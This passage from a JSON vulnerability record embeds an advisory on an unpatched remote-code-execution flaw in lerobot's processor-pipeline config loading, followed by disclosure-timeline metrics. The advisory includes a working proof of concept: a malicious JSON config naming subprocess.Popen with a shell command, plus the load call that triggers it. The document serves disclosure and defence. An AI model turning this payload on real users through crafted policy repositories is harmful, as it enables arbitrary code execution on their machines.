1194\nreturn step_class, class_name\n```\n\nThe resolved class is then instantiated in `_instantiate_step`:\n\n```python\n# _instantiate_step \u2014 attacker-controlled kwargs\nmerged_cfg = {**saved_cfg, **step_overrides}\nreturn step_class(**merged_cfg)                   # line 1254 \u2014 SINK\n```\n\nThe library does check `isinstance(step, ProcessorStep)` \u2014 but this runs at line 1741, **after** `step_class(**merged_cfg)` has already executed. Because constructors like `subprocess.Popen(...)` execute code during instantiation, the guard fires too late.\n\nThe config validator `_validate_loaded_config` requires only that each step entry has a `\"class\"` or `\"registry_name\"` key. It imposes no restriction on the class value, so a malicious config passes validation.\n\n**Reachable path:** `from_pretrained(path, config_filename)` \u2192 `_load_config` (downloads the JSON from the Hub) \u2192 `_validate_loaded_config` (accepts it) \u2192 `_build_steps_from_config` \u2192 `_resolve_step_class` (unrestricted import) \u2192 `_instantiate_step` (executes the class constructor). This is the default, documented policy-loading path \u2014 no special flags are needed.\n\n## Affected Versions\n\n- The dynamic-import fallback (`_resolve_step_class`) is absent in lerobot 0.3.3 and present from 0.4.0 onward. Source-verified across tags 0.4.0, 0.4.4, 0.5.0, 0.5.1, 0.6.0, and 0.6.1.\n- Detonation-confirmed on 0.5.1, 0.6.0, and 0.6.1 (the current latest release, published 2026-08-03).\n- The sink is unchanged on `main` HEAD as of 2026-10-06.\n- **No fixed release exists.** An unmerged community PR ([#4285](https://github.com/huggingface/lerobot/pull/4285)) proposes a namespace allowlist + `trust_remote_code` gate but has received no maintainer approval.\n\n## Proof of Concept\n\nA minimal malicious `policy_preprocessor.json`:\n\n```json\n{\n  \"name\": \"DataProcessorPipeline\",\n  \"steps\": [\n    {\n      \"class\": \"subprocess.Popen\",\n      \"config\": {\"args\": [\"/bin/sh\", \"-c\", \"echo PWNED > /tmp/canary\"]}\n    }\n  ]\n}\n```\n\nTriggered by the standard load call:\n\n```python\nfrom lerobot.processor.pipeline import DataProcessorPipeline\nDataProcessorPipeline.from_pretrained(\"/path/to/dir\", \"policy_preprocessor.json\")\n```\n\nThe library's own `_validate_loaded_config` accepts this file. `_resolve_step_class` imports `subprocess` and resolves `Popen`. `_instantiate_step` calls `Popen(args=[\"/bin/sh\", \"-c\", \"echo PWNED > /tmp/canary\"])`, which spawns a child process that writes the canary. The `TypeError` about `ProcessorStep` inheritance fires afterward \u2014 after the command has already executed.\n\nRe-verified on lerobot 0.6.1 (latest) in a clean `python:3.12-slim` container on 2026-10-06:\n\n```\n== CONTROL: config validation accepts the malicious file ==\nCONTROL: malicious config PASSED validation (no class restriction)\n\n== EXPLOIT: DataProcessorPipeline.from_pretrained(dir, 'policy_preprocessor.json') ==\n(post-instantiation error, expected): TypeError Step 0 (Popen) must inherit from ProcessorStep\n\n== RESULT ==\ncanary exists (child process ran attacker command): True\ncanary contents: PWNED_bb063061253f425fa2a6347645222c75\nPROVEN_RCE=True\n```\n\nA self-contained reproduction (PoC script + pinned Dockerfile) was provided to CERT/CC with the VU#329939 evidence package.\n\n## Impact\n\nArbitrary code execution in the victim's process context. LeRobot policies are distributed as Hugging Face Hub repositories. A victim who loads an attacker's repo through the documented `from_pretrained()` or `make_pre_post_processors()` API \u2014 the standard path used by `lerobot_eval.py` and `policy_server.py` \u2014 has no reason to expect a JSON config to execute Python. The `class` field is an undocumented dynamic-import fallback with no trust gate. No privilege escalation beyond the loading user, and no scope change.\n\n## Mitigations\n\nWhile no fix is released:\n\n1. Only load lerobot policies from repositories you control or trust. Do not call `from_pretrained()` or `make_pre_post_processors()` against untrusted Hub repos.\n2. When loading from the Hub, pin an exact reviewed revision rather than a floating reference.\n3. Apply the [PR #4285](https://github.com/huggingface/lerobot/pull/4285) patch locally, or override `_resolve_step_class` to reject any class outside the `lerobot.processor` namespace before instantiation.\n4. Run policy loading in a sandboxed environment with no outbound network and least privilege, since loading can execute arbitrary code.\n\n## Related\n\n- **GHSA-7j22-xxqw-pgq3** \u2014 Private vulnerability report filed 2026-07-16 via GitHub PVR on `huggingface/lerobot`. Still in Triage status with no maintainer response as of 2026-10-22.\n- **Issue [#4219](https://github.com/huggingface/lerobot/issues/4219)** \u2014 Independent public disclosure of the same bug by user `AAtomical`, opened 2026-07-29. Zero maintainer comments.\n- **PR [#4285](https://github.com/huggingface/lerobot/pull/4285)** \u2014 Community fix PR (namespace allowlist + `trust_remote_code`), opened 2026-08-01. Open and unmerged.\n- **VU#329939** \u2014 CERT/CC coordination case. Hugging Face did not join the case despite weekly contact attempts by CERT/CC.\n\nDistinct from CVE-2026-25874 (GHSA-f7vj-73pm-m822, pickle deserialization over gRPC in `policy_server`, a different component) and CVE-2025-10772 (GHSA-472g-659m-76xf, a Moderate issue in lerobot <= 0.3.3, predating the `DataProcessorPipeline` subsystem).\n\nSame vulnerability class as Keras CVE-2025-1550 (config-driven `importlib` instantiation) and Hugging Face Transformers CVE-2024-11394.\n\n## Timeline\n\n| Date | Event |\n| --- | --- |\n| 2026-07-16 | Private vulnerability report filed via GitHub PVR (GHSA-7j22-xxqw-pgq3) |\n| 2026-07-29 | Independent public issue #4219 opened by AAtomical |\n| 2026-08-01 | Community fix PR #4285 opened |\n| 2026-08-03 | Vendor ships lerobot 0.6.1 without addressing the issue |\n| 2026-08-11 | Escalated to CERT/CC; VINCE case VU#329939 opened |\n| 2026-10-06 | Re-verified on 0.6.1; evidence package provided to CERT/CC |\n| 2026-10-22 | CVE-2026-115533 reserved by CERT/CC |\n\n## Credit\n\nReported by Michael Holmquist ([@mtholmquist](https://github.com/mtholmquist)).\nCoordinated by CERT/CC (VU#329939).\n", "url": "https://gist.github.com/mtholmquist/eba1cba80ea66997b8f7e6a839e49120"}, {"timestamp": "2026-11-09T19:24:39.218Z", "date_only": false, "value": "2026-11-09T19:24:39.218Z", "kind": "other", "label": "Updated", "source": "cvelistv5", "record": "CVE-2026-25874", "field": "cveMetadata.dateUpdated"}, {"timestamp": "2026-11-09T19:24:39.218Z", "date_only": false, "value": "2026-11-09T19:24:39.218Z", "kind": "other", "label": "Updated", "source": "cvelistv5 / VulnCheck", "record": "CVE-2026-25874", "field": "containers.cna.providerMetadata.dateUpdated"}, {"timestamp": "2026-11-09T20:18:14.597Z", "date_only": false, "value": "2026-11-09T20:18:14.597", "kind": "other", "label": "Updated", "source": "fkie_nvd \u00b7 FKIE_CVE-2026-25874", "record": "FKIE_CVE-2026-25874", "field": "lastModified", "linked_record": true}], "metrics": {"as_of": "2026-11-13T05:22:25.623Z", "anchors": {"origin": {"timestamp": "2026-02-27T00:00:00Z", "date_only": false, "value": "2026-02-27T00:00:00.000Z", "kind": "other", "label": "Made public", "source": "cvelistv5 / VulnCheck", "record": "CVE-2026-25874", "field": "containers.cna.datePublic", "metric_role": "disclosure", "metric_basis": "recorded_event"}, "discovery": null, "report": null, "acknowledgement": null, "disclosure": {"timestamp": "2026-02-27T00:00:00Z", "date_only": false, "value": "2026-02-27T00:00:00.000Z", "kind": "other", "label": "Made public", "source": "cvelistv5 / VulnCheck", "record": "CVE-2026-25874", "field": "containers.cna.datePublic", "metric_role": "disclosure", "metric_basis": "recorded_event"}, "exploit_publication": {"timestamp": "2026-04-23T21:26:14Z", "date_only": false, "value": "2026-04-23T21:26:14.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/LhBAsLXZuywUMfmIXbSwPnWzjb6RJaoGfmWe6gs8QchtB8o", "record": "CVE-2026-25874", "field": "creation_timestamp", "uuid": "d77ea3b7-4ff1-471d-b4ba-548dcb0ed693", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, "exploitation": null, "patch": null}, "vendor_response_time": {"available": false, "missing": ["start", "end"]}, "time_to_exploit": {"available": false, "missing": ["end"]}, "disclosure_to_exploit": {"available": false, "missing": ["end"]}, "disclosure_to_exploit_publication": {"available": true, "seconds": 4829174.0, "hours": 1341.4372222222223, "days": 55.89321759259259, "min_seconds": 4742774.0, "max_seconds": 4829174.0, "approximate": true, "ongoing": false, "order_known": true, "batch_listing": false, "end_before_start": false, "start": {"timestamp": "2026-02-27T00:00:00Z", "date_only": false, "value": "2026-02-27T00:00:00.000Z", "kind": "other", "label": "Made public", "source": "cvelistv5 / VulnCheck", "record": "CVE-2026-25874", "field": "containers.cna.datePublic", "metric_role": "disclosure", "metric_basis": "recorded_event"}, "end": {"timestamp": "2026-04-23T21:26:14Z", "date_only": false, "value": "2026-04-23T21:26:14.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/LhBAsLXZuywUMfmIXbSwPnWzjb6RJaoGfmWe6gs8QchtB8o", "record": "CVE-2026-25874", "field": "creation_timestamp", "uuid": "d77ea3b7-4ff1-471d-b4ba-548dcb0ed693", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}}, "time_to_patch": {"available": false, "missing": ["start", "end"]}, "total_time_to_patch": {"available": false, "missing": ["start", "end"]}, "disclosure_to_patch": {"available": false, "missing": ["end"]}, "time_unpatched": {"available": true, "seconds": 22396945.623868, "hours": 6221.373784407778, "days": 259.2239076836574, "min_seconds": 22310545.623868, "max_seconds": 22396945.623868, "approximate": true, "ongoing": true, "order_known": true, "batch_listing": false, "end_before_start": false, "start": {"timestamp": "2026-02-27T00:00:00Z", "date_only": false, "value": "2026-02-27T00:00:00.000Z", "kind": "other", "label": "Made public", "source": "cvelistv5 / VulnCheck", "record": "CVE-2026-25874", "field": "containers.cna.datePublic", "metric_role": "disclosure", "metric_basis": "recorded_event"}, "end": {"timestamp": "2026-11-13T05:22:25.623Z", "date_only": false, "label": "As of", "source": "Calculation clock"}}, "exploitation_to_patch": {"available": false, "missing": ["start"]}, "exploit_publication_to_patch": {"available": true, "seconds": 17567771.623868, "hours": 4879.936562185556, "days": 203.3306900910648, "min_seconds": 17567771.623868, "max_seconds": 17567771.623868, "approximate": false, "ongoing": true, "order_known": true, "batch_listing": false, "end_before_start": false, "start": {"timestamp": "2026-04-23T21:26:14Z", "date_only": false, "value": "2026-04-23T21:26:14.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/LhBAsLXZuywUMfmIXbSwPnWzjb6RJaoGfmWe6gs8QchtB8o", "record": "CVE-2026-25874", "field": "creation_timestamp", "uuid": "d77ea3b7-4ff1-471d-b4ba-548dcb0ed693", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, "end": {"timestamp": "2026-11-13T05:22:25.623Z", "date_only": false, "label": "As of", "source": "Calculation clock"}}}}